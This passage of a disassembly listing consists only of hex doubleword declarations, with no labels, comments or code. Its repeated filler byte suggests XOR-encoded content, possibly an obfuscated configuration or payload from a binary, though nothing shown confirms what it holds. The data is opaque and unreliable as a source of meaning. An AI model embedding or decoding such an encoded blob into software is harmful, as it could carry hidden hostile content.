0C8F2D5C4h, 0C3D4F2C5h dd 0C9D5D4E0h, 0D5C8D3CEh, 0D4CEE2D8h, 8F9CD5CFh, 123649Ch dd 0F0B3010h, 0A2D0A01h, 9160B02h, 0B0D1005h, 9C869C0Ah dd 1D0C3A69h, 1C0A0C3Ah, 101D001Bh, 0A1A0C2Dh, 1D19001Bh dd 1E261B06h, 9C1B0C07h, 0DFBE9C90h, 0CEDFC8DAh, 908C8DD7h dd 9CD2D2DAh, 5F3E9C90h, 4E5F485Ah, 100C0D57h, 9C52525Ah dd 9C449C9Ch, 1A629C9Dh, 0C49C9D9Ch, 9C9C9CE4h, 9C8F9C5Fh dd 0F2FDC693h, 0B3F6FFF1h, 0F2B3FCE7h, 0FCFBE7E6h, 0F6E9FAE1h dd 0F99CA99Ch, 9B9897ACh, 8DD99C95h, 8C98D996h, 8B96918Dh dd 0D99C8390h, 0B7B0D9D4h, 0ABABB6BAh, 0D9ADBABCh, 0D7B7B0A9h dd 9C95A9D9h, 0D59C8A98h, 8B969AD9h, 8D9A9C8Bh, 9C9D9CD7h dd 829CB895h, 0AE92C29Ch, 0A7B1A3A7h, 0A7B1E2EEh, 0B6A1A7AEh dd 0B2BA87E2h, 0B6A3B0ABh, 0E2ACADABh, 0B0A3A79Bh, 569C9D9Ch dd 9C839C76h, 3D340858h, 743D2B39h, 343D2B78h, 782C3B3Dh dd 3128201Dh, 312C392Ah, 15783637h, 302C3637h, 9D9C989Ch dd 0C5A5ADB8h, 439C969Ch, 1C202530h, 276D302Ch, 969C2F2Fh dd 5045369Ch, 45596955h, 5A5A5218h, 939C989Ch, 0CBA1BDB6h dd 0A9C9D9Ch, 9C9E9C2Fh, 9CBAFCD9h, 80BB9C9Fh, 989C86D4h dd 3078439Ch, 989C7E2Ch, 1F407B9Ch, 989C5A46h, 0C59AA19Ch dd 9C9C8B9Ch, 9C9C9C9Fh, 9CAE9CE7h, 9CA09CAAh, 9C8B9C9Ch dd 8ACC8AAFh, 8ACC8ACCh, 0CC8A82CCh, 2 dup(0CC8ACC8Ah) dd 0C2C0CC81h, 899C8A9Ch, 2 dup(0EAACEAACh), 0ACA4EAACh dd 0ACEAACEAh, 0A7EAACEAh, 8C9CFCFBh, 514A199Ch, 5F6D7C5Eh dd 7C7D7576h, 6D78496Bh, 979C5871h, 9D86F59Ch, 0C6999990h dd 9991DBC7h, 9C979C99h, 4C415A29h, 1B1A4545h, 45454D07h dd 0C59C9D9Ch, 9C9E9CB9h, 9C5E0222h, 0D9E39C9Dh, 0AB9C989Ch dd 91DE8E8Bh, 39C9D9Ch, 9C969C7Fh, 651F0323h, 196E716Ch dd 9C1D5606h, 7A5A9C97h, 1B081C66h, 7F601F17h, 969C642Fh dd 1E02229Ch, 6F637064h, 1C6F1867h, 9C9C9C9Ch, 9C9C9C99h dd 9C2C9C5Ah, 9C369C3Bh, 9C3F9C2Fh, 9C9C9C9Ch, 9C9C9C98h dd 9C599C37h, 9C5A9C56h, 9C9C9C52h, 9C779C9Ch, 44619C98h dd 9C3D5B02h, 193C9C9Ah, 64191164h, 9C9B9C1Dh, 7D270B57h dd 3B3B3379h, 9C9C9C9Ch, 9C9C9C95h, 9C729C10h, 9C769C75h dd 9C629C7Fh, 9C559C75h, 9C749C7Eh, 9CBC9C9Ch, 57045277h dd 4A140504h, 703031Fh, 5258584Dh, 4A1F4804h, 1510452h dd 5102524Ah, 4524A07h, 9CDF9C49h, 1B481E3Bh, 6584948h dd 4B4F4F53h, 1E141401h, 6530448h, 521D481Eh dd 1E4E1E06h, 6541D48h, 5D1D4E1Eh, 1D581E06h, 1E065248h dd 54481D48h, 1D4E1E06h, 1E06574Fh, 64D1D4Eh, 5F1D4E1Eh dd 5481E06h, 0DA9C8C9Ch, 0A9FAA9FFh, 0FFE7B9A8h, 0BCE5F5A9h dd 0E4B9FFE7h, 839C829Ch, 0E4EEEABFh, 0E7EAF4A3h, 0B3BEEBF7h dd 0EAE6EBA3h, 0BEF7EBE4h, 0ECE1A3B3h, 0F1E6E7F1h, 9B9CB3BEh dd 0C526E9Ch, 0C415250h, 9C969C50h, 485D622Dh, 59586043h dd 9C6C5548h, 7D319C90h, 7D55505Eh, 50435358h, 9C704843h dd 0C1829C97h, 0E7F1EDEEh, 0E6ECE3CAh, 8C9CE7EEh, 725629Ch dd 60D2F16h, 2A070E17h, 0E060C03h, 0DC9C2307h, 484B0A9Ch dd 4C4F4E49h, 4043424Dh, 44474641h, 585B5A45h, 5C5F5E59h dd 5053525Dh, 6E69686Bh, 626D6C6Fh, 66616063h, 7A656467h dd 7E79787Bh, 727D7C7Fh, 3B3A7073h, 3F3E3938h, 33323D3Ch dd 969C2521h, 23014C9Ch, 251B293Ah, 3B232822h, 6A9C929Ch dd 3D1E0F2Dh, 50E0403h, 405261Dh, 929C2B0Dh, 0F7D5929Ch dd 0FCFBC5E6h, 0C6E5FDF6h, 0D3E6EAF7h, 1F9C929Ch, 486B7A4Ch dd 707B7176h, 677A4B68h, 949C5E6Bh, 5F693A9Ch, 57536E4Eh dd 939C485Fh, 0D8FAB99Ch, 0D0EED5D5h, 0CED6DDD7h, 0DAD6CBE9h dd 9C979CF8h, 0B9AF87CAh, 0AFADABB9h, 8BB2A588h, 1A9C949Ch dd 5C6E7F49h, 696F7975h, 0E29C939Ch, 838790A1h, 8BB58796h dd 958D868Ch, 9CA39AA7h, 72219C92h, 48765544h, 564E454Fh dd 464F4E6Dh, 9C919C60h, 0A0D2264h, 0A0D3300h, 21130B00h dd 8E9C251Ch, 2296C9Ch, 9280119h, 318071Fh, 2053B1Ch, 1F1B0308h dd 1B9C919Ch, 6F687E5Fh, 4C627469h, 747F7572h, 9C929C6Ch dd 31321357h, 33393E00h, 25072038h, 9C163438h, 32669C8Ch dd 15080714h, 312070Ah, 1515032Bh, 9C030107h, 80C79C91h dd 0AB84B3A2h, 89B4B4A6h, 86A2AAA6h, 589C909Ch, 3C363D0Bh dd 2B2B3D15h, 193D3F39h, 129C929Ch, 7B757740h, 60776661h dd 61737E51h, 979C5361h, 694B0C9Ch, 7F694178h, 696B6D7Fh dd 9C919C4Dh, 63725017h, 73797E40h, 72456078h, 8F9C6374h dd 0A381C69Ch, 0B4A980B2h, 0A9B4A1A3h, 91A2A8B3h, 0A9A2A8AFh dd 9C969CB1h, 0EAEDD685h, 0EBECD2F2h, 9CF2EAE1h, 22669C8Ch dd 716150Fh, 2B0E0512h, 7151503h, 9C270301h, 98DF9C95h dd 0B688ABBAh, 0A8B0BBB1h, 1B9C969Ch, 697E686Eh, 7F352928h dd 969C7777h, 0AEA8DD9Ch, 0EFEEAFB8h, 0B1B1B9F3h, 879C909Ch dd 0EEF5E6D1h, 0C4F3E9E6h, 0F5E6E2EBh, 779C919Ch, 31040E24h dd 24121205h, 191E0503h, 9C909C10h, 3C260B4Fh, 3B2A083Fh dd 2E3D2E1Fh, 9C979C22h, 3D2E194Fh, 3B212E26h, 3B262106h dd 949C929Ch, 0D5E7EDC7h, 0F7FBF8F8h, 0FDE6E0C7h, 909CF3FAh dd 71721D9Ch, 69687C78h, 79332F2Eh, 909C7171h, 0E8EB849Ch dd 0F0F1E5E1h, 0E0AAB6B7h, 9D9CE8E8h, 9CB9E59Ch, 0E0C59C93h dd 0A3A199B6h, 0BFB0E0A9h, 0A1EBF7F6h, 979CA9A9h, 1F496C9Ch dd 491F4930h, 24219h, 9C939C1Fh, 8FA0F6D3h, 0A6F6B5B8h dd 0E1E0A9BFh, 0BFBFB7FDh, 0BC9C8C9Ch, 0CBE0CF99h, 0C999CECFh dd 8E8FC8C6h, 0D0D0D892h, 729C999Ch, 613165Ch, 9C979C13h dd 80B68CC5h, 0A9A4B0B4h, 818C9082h, 109C919Ch, 71447F53h dd 755D7B63h, 7562567Dh, 9C909C75h, 0A781ADEEh, 879A8780h dd 9487828Fh, 9C939C8Bh, 534C4300h, 72464449h, 74536D6Fh dd 676E6972h, 939C929Ch, 0FDC6FCD0h, 0E7FAFDFAh, 0FAFFF2FAh dd 8C9CF6E9h, 0B19DDE9Ch, 0BFBBAC9Dh, 0B097BBAAh, 0B0BFAAADh dd 959CBBBDh, 888BE49Ch, 0CAD6D781h, 9C888880h, 0D6B99C95h dd 8B8ADCD5h, 0D5D5DD97h, 0E89C999Ch, 0CDB49BCDh, 9C999C9Bh dd 0DCF3A580h, 989CF3A5h, 3660459Ch, 849C6F19h, 0E9DF8C9Ch dd 0E9E7EDD8h, 0E9E2FBC3h, 0E5E4FFFEh, 0E5FEDCFCh, 0E9E0E5FAh dd 9D9CE9EBh, 9CB7EB9Ch, 0B5DE9C9Ah, 0A8F3AFB5h, 9C949CA6h dd 0F1DD8BAEh, 8BD6DAC3h, 9C9D9CDBh, 9D9C4B1Eh, 9C94C29Ch dd 0ACFC9C88h, 8E9388AFh, 998EBF99h, 0B599889Dh, 9D888F92h dd 9C999F92h, 0F4849C97h, 0F6EBF0F7h, 0E0AAE7E1h, 979CE8E8h dd 8083F39Ch, 96819C87h, 9F97DD90h, 9C919C9Fh, 5B515B28h dd 58454D5Ch, 414E475Ah, 9A9C4D44h, 0B5A2C79Ch, 0A2A4AEB1h dd 0BA9C9D9Ch, 9C949C9Eh, 0ECFA89A9h, 0EAE0FFFBh, 9C9A9CECh dd 1A101A49h, 9C040C1Dh, 8DDD9C95h, 0A8B9B2AFh, 0B994A9BEh dd 0D59CB09Ch, 81939A86h, 90879482h, 0B6BC9889h, 0BAA6BAA7h dd 8289A1B3h, 0BAB1BBBCh, 9BF5A6A2h, 0A0968981h, 0BBB0A7A7h dd 0A7B083A1h, 0BBBABCA6h, 0EB9C959Ch, 8F8499BBh, 0A29F889Eh dd 9CB59C8Fh, 535A4615h, 47544241h, 7C584950h, 667A6776h dd 4961737Ah, 717B7C42h, 4966627Ah, 67676056h, 43617B70h dd 7C666770h, 9D9C7B7Ah, 9C547A9Ch, 0BD909C98h, 9CBEC8B5h dd 7F1C9C9Fh, 949C4026h, 80D0F59Ch, 0DB80D0DBh, 8E9C80D0h dd 1520739Ch, 35003A10h, 23161F1Ah, 16071C01h, 17160710h dd 0B49C9B9Ch, 9AD7D2C7h, 9CD8D8D0h, 2D5E9C9Bh, 3A703D38h dd 9A9C3232h, 7076C9Ch, 141A411Dh, 0DB9C9A9Ch, 0F6AAB0B0h dd 9A9CA3ADh, 5D5D369Ch, 4E401B47h, 769C9A9Ch, 5B071D1Dh dd 949C0E00h, 7224019Ch, 79756C5Eh, 9A9C7424h, 8787EC9Ch dd 949AC19Dh, 5F9C9B9Ch, 32002C7Ah, 9C6E272Bh, 44079C8Eh dd 73777E75h, 75776952h, 64627368h, 73664373h, 9C979C66h dd 111A0B68h, 5A5B1C18h, 4040C46h, 709C979Ch, 90213h, 5E424304h dd 9C1C1C14h, 0BEF79C8Dh, 85928399h, 0D7839299h, 9B878FB2h dd 85928598h, 9C9C9C9Ch, 9C9C9C98h, 9CD99C9Bh, 9CDF9CD4h dd 9C9C9CC2h, 11529C8Ah, 39313B3Eh, 313C1D72h, 3D067237h dd 3C3D1172h, 273C3B26h, 9C9A9C37h, 0DCDDCA88h, 9CC6C7DCh dd 6B2E9C82h, 7C677E76h, 61677A6Fh, 6F6A0E60h, 24246B7Ah dd 637A6F24h, 60677E0Eh, 6A616D0Eh, 9C9A9C6Bh, 1B0E095Ah dd 9C19130Eh, 9C579C9Ch, 0B0F59C98h, 9CA1BCB1h, 9EBB9C98h dd 9CCE8995h, 0A7959C9Ah, 0A7BBB0A5h, 9C9C9CE0h, 9C949C82h dd 71737F3Ch, 737E737Eh, 9C9C9C64h, 9C949CCFh, 0A1A3AFECh dd 0A3AEA3AEh, 9CF29CB4h, 4C43782Dh, 0D48414Fh, 4C0D4259h dd 42455958h, 4857445Fh, 5E082703h, 425F5D0Dh, 5E5E484Eh dd 0D4A4344h, 5943484Eh, 440D5F48h, 43580D5Eh, 48414F4Ch dd 0D42590Dh, 4559584Ch, 57445F42h, 42540D48h, 4E0D5F58h dd 0D495F4Ch, 27035E08h, 48464C60h, 5F424E0Dh, 594E485Fh dd 5E434244h, 49434C0Dh, 545F590Dh, 4C4A4C0Dh, 9C034344h dd 0EDA09C96h, 0C5D4D3C1h, 0D2C1E3D2h, 9C989CC4h, 0AFB5AAFCh dd 9C9D9CBDh, 9A9C3010h, 0AFA8FB9Ch, 0B8B2AFBAh, 1F9C899Ch dd 3F3F3F15h, 5C504D4Fh, 564C4C5Ah, 593F5851h, 5A53565Eh dd 9C9A9C5Bh, 6E7B7C2Fh, 9C6C667Bh, 9CDC9C9Ch, 52019C9Ah dd 48554055h, 9C9A9C42h, 0FFE5E58Eh, 9CF6F8A3h, 0F7B29C94h dd 0DDDEC2CAh, 9CC0D7C0h, 8CC89C95h, 0AA87ABA7h, 0BCABADA2h dd 699C929Ch, 3E0B083Dh, 60D0700h, 8052A1Eh, 989C1A1Ah dd 286E4B9Ch, 9D9C1771h, 9C760A9Ch, 83CA9C85h, 899E8F84h dd 0EA878785h, 0BCB8AF99h, 9AEAB8AFh, 0BDB9B9ABh, 0B9AEB8A5h dd 119C9D9Ch, 9C9D9C6Dh, 9D9CB390h, 9C88AB9Ch, 0E2D9C9Dh dd 19C9B9Ch, 71757569h, 9C2E2E3Bh, 56759C9Dh, 739C9B9Ch dd 307071Bh, 9C5C5C49h, 7D1E9897h, 767D7B76h, 6C6E707Bh dd 306D6D7Bh, 71787077h, 7271793Dh, 72716E7Ah, 717D3072h dd 70773D73h, 7271796Ah, 717D307Ah, 69693D73h, 7C7D3069h dd 6B6C306Ch, 6969693Dh, 7D687F30h, 757D7B76h, 3D6B6C30h dd 6C716A6Dh, 677F6E73h, 73717D30h, 6B6C7D3Dh, 306E716Ah dd 703D6B70h, 7B30697Bh, 7D307979h, 693D7371h, 6E306969h dd 77647071h, 737F7D6Dh, 717D306Dh, 687F3D73h, 7D7B767Dh dd 6B6C3075h, 7D687F3Dh, 757D7B76h, 64777C30h, 6969693Dh dd 777C7C30h, 6B6C3070h, 6D7F733Dh, 336C7B6Ah, 717D3066h dd 69693D73h, 716E3069h, 6D776470h, 6D737F7Dh, 73717D30h dd 6969693Dh, 707F7C30h, 7F7C3375h, 7B6B6F70h, 707F7D33h dd 307F7A7Fh, 693D7F7Dh, 6E306969h, 77647071h, 737F7D6Dh dd 717D306Dh, 69693D73h, 737C3069h, 717D3071h, 7F6E3D73h dd 727F6E67h, 73717D30h, 7F7C7B3Dh, 717D3067h, 69693D73h dd 7F7C3069h, 78717570h, 6B7A7F73h, 7D307F6Ch, 693D7371h dd 7D306969h, 307D7C77h, 3D73717Dh, 30696969h, 307C6A68h dd 693D6B6Ch, 7D306969h, 707F7C69h, 717D3075h, 71793D73h dd 716E7A72h, 7D307272h, 693D7371h, 6E306969h, 77647071h dd 737F7D6Dh, 717D306Dh, 69693D73h, 73733069h, 75707F7Ch dd 3D6B6C30h, 30696969h, 7F77706Bh, 6B6C6A6Dh, 6B6C3073h dd 7271793Dh, 72716E7Ah, 717D3072h, 69693D73h, 716E3069h dd 6D776470h, 6D737F7Dh, 73717D30h, 6969693Dh, 6C716930h dd 7F7C7A72h, 71307570h, 693D796Ch, 7D306969h, 777A707Fh dd 7B6A7F7Ah, 776C7B68h, 6C7B7778h, 73717D30h, 6969693Dh dd 70716E30h, 7D6D7764h, 306D737Fh, 3D73717Dh, 30696969h dd 75707F7Ch, 70777871h, 307F777Ah, 3D73717Dh, 30696969h dd 7F7C7D77h, 6C307570h, 687F3D6Bh, 7D7B767Dh, 6B6C3075h dd 6969693Dh, 707B6830h, 6D6C717Ah, 7B737F70h, 3D6D6930h dd 30696969h, 307C7375h, 693D6B6Ch, 70306969h, 7F736A7Bh dd 6A6D7779h, 7D306C7Bh, 753D7371h, 7F75687Fh, 707B7D64h dd 306C7B6Ah, 3D73717Dh, 30696969h, 7A707B68h, 706D6C71h dd 307B737Fh, 733D6D69h, 72707167h, 7F7B7077h, 6B717D7Dh dd 2C6D6A70h, 7C7C7F30h, 7F70677Bh, 7071776Ah, 7D30727Fh dd 756B3071h, 7270713Dh, 337B7077h, 776D6B7Ch, 6D6D7B70h dd 71727230h, 6A6D7A67h, 7D307C6Dh, 756B3071h, 6969693Dh dd 72727F30h, 7C7F767Fh, 7F7C7A7Fh, 7D307570h, 693D7371h dd 6C306969h, 7D307D7Ch, 693D7371h, 6E306969h, 77647071h dd 737F7D6Dh, 717D306Dh, 69693D73h, 76302F69h, 307D7C6Dh dd 753D7F7Dh, 7B6C7C79h, 7D667F72h, 307C6B72h, 673D6B6Ch dd 717C737Fh, 64777C30h, 7A77753Dh, 7C336D71h, 3075707Fh dd 693D6B6Ch, 72306969h, 777A7D7Ch, 6A7D7B6Ch, 6B7F7230h dd 6A707B6Ch, 7C707F77h, 3075707Fh, 7C3D7F7Dh, 727D6C7Fh dd 306D677Fh, 3D73717Dh, 7F6A716Ah, 78677272h, 7C7B7B6Ch dd 7775707Fh, 7D307970h, 693D7371h, 70306969h, 7D307D7Ch dd 2D2B3D7Fh, 75707F7Ch, 73717D30h, 6969693Dh, 707B6830h dd 6D6C717Ah, 7B737F70h, 3D706830h, 30696969h, 337C2C7Ch dd 6D6B6C6Ah, 717D306Ah, 69693D73h, 7B683069h, 6C717A70h dd 737F706Dh, 6D69307Bh, 7B6E713Dh, 707F7C70h, 717D3075h dd 7F6A3D73h, 7B70336Ah, 7F7C6A78h, 6C307570h, 7B6D3D6Bh dd 7C7F727Dh, 3D6B6C30h, 6B7D7B6Dh, 676A776Ch, 307C7F72h dd 783D6B6Ch, 7F766A7Bh, 7C307A6Ch, 793D6477h, 6670716Ch dd 707F726Eh, 306D6A7Bh, 683D6B6Ch, 717A707Bh, 7F706D6Ch dd 68307B73h, 9D9C3D70h, 9C5C009Ch, 82EF9C9Ah, 828C828Ah dd 9C9A9C9Fh, 2E262E43h, 9C372630h, 62119C9Ah, 70726365h dd 9C9A9C65h, 313C305Dh, 9C3E3231h, 0EF8E9C98h, 9CE7E1FAh dd 0EF829C9Ah, 0F2E1EFE7h, 9C999CFBh, 3E2D2C5Fh, 989C3B31h dd 3C284E9Ch, 9A9C2B2Bh, 6364179Ch, 6E677465h, 669C949Ch dd 14161510h, 12080Fh, 0C89C9B9Ch, 0B8BDA7BCh, 9CBAADB8h dd 13619C98h, 9C050F00h, 9EFD9C96h, 9199898Fh, 9199D391h dd 9C969C91h, 0ACAABBD8h, 0F6B4B4BCh, 9CB4B4BCh, 56779C9Dh dd 929C9D9Ch, 9C989CB8h, 72727672h, 9C979C72h, 1D0A3B78h dd 3E1D0C19h, 390C1617h, 0F09C959Ch, 0C3999497h, 9C94DEC2h dd 9C959C9Ch, 0E0EDEE89h, 0EDA7BBBAh, 0A69CE5E5h, 9C9CB3B3h dd 73CC5EEh, 8D536A34h, 3C9CDE38h, 0A5139655h, 62DD9A7Ch dd 8D4CA506h, 3C9C1038h, 0A5139655h, 0A83B893Ch, 8D4CF91Bh dd 0BC9CD60Eh, 0D1305B33h, 0ACCC6EC7h, 8D530429h, 369C1E27h dd 9752219Ch, 2D0A2E18h, 8C862628h, 369C002Ah, 9B81A89Ch dd 9C9E989Ch, 9C9C9C9Ch, 9C9C9C5Ch, 0DA9C9C9Ch, 0AFB0D8B9h dd 8D4CBA57h, 5C9C1F28h, 859D45D3h, 0ACCC6E83h, 8D530429h dd 369C1E27h, 9752219Ch, 0ACCC6D63h, 8D530429h, 369C1E27h dd 9752219Ch, 0ACCC6D6Bh, 8D530429h, 369C1E27h, 9752219Ch dd 0ACCC6EDCh, 8D530429h, 369C1E27h, 9752219Ch, 0AFB0D8BBh dd 8D4CBA57h, 5C9C1F28h, 859D45D3h, 1957F59Ch, 8D53D109h dd 1C9C900Ah, 1972685Bh, 4F908AFDh, 8D4C5133h, 5C9CA216h dd 0F27E55D3h, 53h dup(9C9C9C9Ch), 9C8D3CECh, 2 dup(9C9C9C9Ch) dd 9C8D3D18h, 9C8D3C30h, 9C8D3C18h, 2 dup(9C9C9C9Ch), 9C8D3D3Ch dd 9C8D3C5Ch, 12h dup(9C9C9C9Ch), 9C8D3C74h, 9C8D3C64h dd 9C8D3D88h, 2 dup(9C9C9C9Ch), 9C8D3DBCh, 9C8D3DB0h, 9C8D3DDCh dd 9C8D3DD0h, 9C8D3DC4h, 9C8D3DF8h, 9C8D3DF0h, 9C8D3DE4h dd 2 dup(9C9C9C9Ch), 9C8D3C74h, 9C8D3C64h, 9C8D3D88h, 2 dup(9C9C9C9Ch) dd 9C8D3DBCh, 9C8D3DB0h, 9C8D3DDCh, 9C8D3DD0h, 9C8D3DC4h dd 9C8D3DF8h, 9C8D3DF0h, 9C8D3DE4h, 2 dup(9C9C9C9Ch), 0E4D99C07h dd 0EECCE8F5h, 0EFF9FFF3h, 9C9C9CEFh, 0F9DB9DB8h, 0EAF2D9E8h dd 0F2F3EEF5h, 0E8F2F9F1h, 0F5EEE8CFh, 0DDEFFBF2h, 9C9C9C9Ch dd 0E8CE9EE4h, 0EBF2C9F0h, 9CF8F2F5h, 0FAC39C1Ch, 0F9ECF3F8h dd 9C9C9CF2h, 0F3C39DD3h, 0C3F2F9ECh, 0F4FAEFF3h, 0F0F8F2FDh dd 9C9C9CF9h, 0FFFA9E91h, 0F9EFF3F0h, 9C9C9C9Ch, 0FFC39CA5h dd 0E8F5E4F9h, 9C9C9C9Ch, 0FDF19ED2h, 0FFF3F0F0h, 9C9C9C9Ch dd 0FDEE9EFCh, 9CF9EFF5h, 0F9EF9EFBh, 0FAE9FEE8h, 9C9C9C9Ch dd 0E8EF9EE9h, 0E5ECFFEEh, 9C9C9C9Ch, 0D2CED9D7h, 0AEAFD0D9h dd 0F0F0F8B2h, 9C9C9C9Ch, 3 dup(8C8D3C9Ch), 0D8C8CEDFh dd 0D8B2D0D0h, 9C9CD0D0h, 8 dup(8C8D3C88h), 0Eh dup(9C9C9C9Ch) dd 9C9C9CBCh, 9C9C9C9Ch, 9C9C9CBCh, 9C9C8C9Ch, 9C9C709Ch dd 9C9C6C9Ch, 9C9DB09Ch, 78h dup(9C9C9C9Ch), 9C9C8C9Ch dd 9C9C9EA0h, 0AC10ACADh, 0AC61AC6Fh, 0AD8FAD99h, 0ADBDAD85h dd 0AD2AADBBh, 0AD60AD73h, 0AE92AE9Dh, 0AEBFAE8Fh, 0AEA2AEB5h dd 0AFACAE28h, 0AFCDAFABh, 0AFFBAFC4h, 0AFE5AFF3h, 0AF11AF1Bh dd 0AF00AF0Bh, 0AF34AF3Dh, 0AF2BAF2Dh, 0AF4EAF22h, 0AF79AF43h dd 0A899AF6Dh, 0A8DEA8A9h, 0A8C3A8D5h, 0A81EA8E9h, 0A834A808h dd 0A822A832h, 0A986A994h, 0A9DEA9A5h, 0A9C3A9CFh, 0A9EDA9F0h dd 0A918A9E2h, 0A90DA917h, 0A931A90Ah, 0A95CA924h, 0A97DA944h dd 0AA8EA977h, 0AAABAAB1h, 0AACCAAD6h, 0AAFFAACAh, 0AAEEAAF0h dd 0AAE3AAE5h, 0AA0FAA11h, 0AA3AAA05h, 0AA29AA33h, 0AA58AA20h dd 0AA44AA4Dh, 0AA77AA42h dd 0AA64AA6Eh, 0AB93AB9Eh, 0AB87AB89h, 0ABADABB4h, 0ABA3ABA4h dd 0ABCBABD6h, 0ABF1ABC2h, 0ABE5ABEFh, 0AB17ABE3h, 0AB0BAB0Eh dd 0AB36AB03h, 0AB21AB2Dh, 0AB55AB5Fh, 0AB46AB48h, 0AB76AB7Fh dd 0AB6AAB6Ch, 0A496AB61h, 0A485A48Dh, 0A4B1A483h, 0A4A5A4AFh dd 0A4D0A4D9h, 0A4C5A4CFh, 0A4F0A4FAh, 0A4E5A4EEh, 0A411A41Ah dd 0A43DA408h, 0A427A42Dh, 0A453A45Eh, 0A447A448h, 0A471A47Eh dd 0A59DA468h, 0A597A59Ah, 0A582A584h, 0A5AAA5BFh, 0A5F2A5DEh dd 0A506A5E8h, 0A54FA536h, 0A6ABA681h, 0A6F2A6A3h, 0A60CA6E3h dd 0A624A62Eh, 0A646A655h, 0A66DA67Ch, 0A791A79Eh, 0A7BDA786h dd 0A7D7A7DDh, 0A7FFA7CAh, 0A7E8A7F4h, 0A715A71Eh, 0A702A705h dd 0A720A733h, 0A74DA756h, 0A77AA77Dh, 0A098A76Bh, 0A081A08Dh dd 0A0A5A0AEh, 0A0C6A0D6h, 0A0F0A0FFh, 0A019A0EFh, 0A03CA017h dd 0A032A034h, 0A022A028h, 0A075A058h, 0A063A065h, 0A1ABA19Ah dd 0A1D6A1A2h, 0A1C2A1CBh, 0A1F2A1F4h, 0A1E3A1E5h, 0A107A108h dd 0A132A134h, 0A15CA126h, 0A153A155h, 0A17CA145h, 0A163A165h dd 0A28FA294h, 0A2BFA285h, 0A2ABA2B1h, 0A2CCA2DFh, 0A2F2A2FEh dd 0A215A2E1h, 0A202A205h, 0A275A238h, 0A26BA26Dh, 0A39BA261h dd 0A3B6A3BFh, 0A3D5A3DEh, 0A3C0A3CAh, 0A3F7A3FDh, 0A33AA312h dd 0A324A331h, 0A356A35Fh, 0A347A34Ch, 0A36DA37Dh, 0A360A36Bh dd 9C9CBC9Ch, 9C9C9EB8h, 0AC8FAC9Ah, 0AC81AC84h, 0ACB1ACBAh dd 0ACA3ACA6h, 0AC1AACEAh, 0AC30AC05h, 0AC4DAC26h, 0AD9CAC44h dd 0AD81AD9Ah, 0ADCCADB4h, 0ADE8ADF6h, 0AD3DAD07h, 0AD41AD28h dd 0AD71AD7Bh, 0AE99AD61h, 0AE89AE93h, 0AECFAEB1h, 0AEFAAEC6h dd 0AEE1AEECh, 0AE2AAE0Dh, 0AE52AE5Ch, 0AE77AE49h, 0AF85AF8Dh dd 0AFA9AFBBh, 0AFD1AFD8h, 0AFEBAFECh, 0AF11AF1Fh, 0AF38AF04h dd 0AF5EAF2Dh, 0AF53AF56h, 0AF6CAF49h, 0A8BDAF66h, 0A8ADA8BBh dd 0A8DFA8A6h, 0A8FDA8CDh, 0A813A8FBh, 0A803A809h, 0A82FA834h dd 0A84DA85Dh, 0A863A846h, 0A98DA999h, 0A9B8A981h, 0A9DEA9A5h dd 0A9F3A9F9h, 0A91AA9E5h, 0A901A90Ch, 0A92AA932h, 0A946A922h dd 0AA9AAA9Ch, 0AA84AA8Eh, 0AAB7AAB9h, 0AAD4AAA2h, 0AAEBAAF1h dd 0AA10AA1Dh, 0AA3DAA07h, 0AA26AA2Dh, 0AA7BAA41h, 0AB9EAA6Fh dd 0AB86AB94h, 0ABD5ABDCh, 0ABFCABCEh, 0ABE9ABF6h, 0AB0DAB17h dd 0AB2DAB3Dh, 0AB7DAB5Dh, 0AB6DAB74h, 0A49DAB64h, 0A4BFA494h dd 0A4DBA4B6h, 0A4C0A4CBh, 0A4EDA4F0h, 0A41AA41Dh, 0A407A40Ah dd 0A42CA437h, 0A459A45Ch, 0A446A449h, 0A473A476h, 0A598A463h dd 0A585A588h, 0A5B2A5B5h, 0A5E4A5DDh, 0A512A5E3h, 0A53BA503h dd 0A55DA52Eh, 0A54EA550h, 0A566A574h, 0A682A69Ch, 0A6ACA6B7h dd 0A6E4A6DAh, 0A63AA63Ch, 0A620A62Ah, 0A64EA650h, 0A795A668h dd 0A7EDA78Fh, 0A712A71Bh, 0A729A73Ah, 0A747A757h, 0A765A776h dd 0A08DA090h, 0A0D4A08Bh, 0A0F8A0C1h, 0A00DA01Eh, 0A028A006h dd 0A05AA021h, 0A06FA053h, 0A19EA065h, 0A18AA195h, 0A1B9A180h dd 0A1A6A1A8h, 0A1D3A1D4h, 0A1FBA1CAh, 0A1E0A1EFh, 0A115A11Fh dd 0A107A109h, 0A121A12Fh, 0A152A154h, 0A17EA147h, 0A29FA170h dd 0A289A290h, 0A2B7A282h, 0A2D9A2A8h, 0A2C0A2CDh, 0A2E6A2F2h dd 0A217A21Ch, 0A23DA208h, 0A224A237h, 0A252A223h, 0A27DA24Bh dd 0A26AA277h, 0A392A39Dh, 0A3BCA386h, 0A3A7A3B1h, 0A3EDA3C1h dd 0A316A318h, 0A375A37Dh, 9C9CAC9Ch, 9C9C9E9Ch, 0AC1AACD6h dd 0AC5CAC3Bh, 0AC63AC44h, 0ADB2AD87h, 0ADA1ADAAh, 0ADF1ADC9h dd 0ADE3ADE9h, 0AD08AD11h, 0AD7DAD2Ah, 0AE98AD74h, 0AE84AE96h dd 0AEB2AE83h, 0AEA0AEA8h, 0AED2AED4h, 0AEE2AEE9h, 0AE29AE0Fh dd 0AE4BAE27h, 0AE6AAE6Dh, 0AF91AF99h, 0AFB3AF8Fh, 0AFD1AFA2h dd 0AFFEAFC1h, 0AF0DAFEDh, 0AF30AF04h, 0AF4DAF2Fh, 0AF6DAF41h dd 0A899AF6Ah, 0A8D4A8AEh, 0A8C0A8D1h, 0A8E2A8EEh, 0A804A80Eh dd 0A845A826h, 0A98BA87Ah, 0A9D6A9A1h, 0A9FCA9C4h, 0A9E4A9F6h dd 0A909A913h, 0A952A928h, 0AA9EA960h, 0AA83AA8Eh, 0AAF7AAAAh dd 0AA17AAE7h, 0AA37AA0Eh, 0AA26AA2Dh, 0AA52AA54h, 0AA43AA44h dd 0AA6AAA7Ah, 0AB9AAA63h, 0AB82AB84h, 0ABB2ABB4h, 0ABF6ABA8h dd 0AB0DABE1h, 0AB3BAB3Dh, 0AB21AB2Bh, 0AB47AB48h, 0A48EAB72h dd 0A4A4A4B6h, 0A4CAA4CCh, 0A409A418h, 0A430A439h, 0A45DA426h dd 0A47FA44Eh, 0A5B5A468h, 0A5A0A5B3h, 0A5C8A5D7h, 0A5F4A5C7h dd 0A519A5E5h, 0A50BA517h, 0A531A502h, 0A57DA546h, 0A569A572h dd 0A682A69Ah, 0A6AAA6BFh, 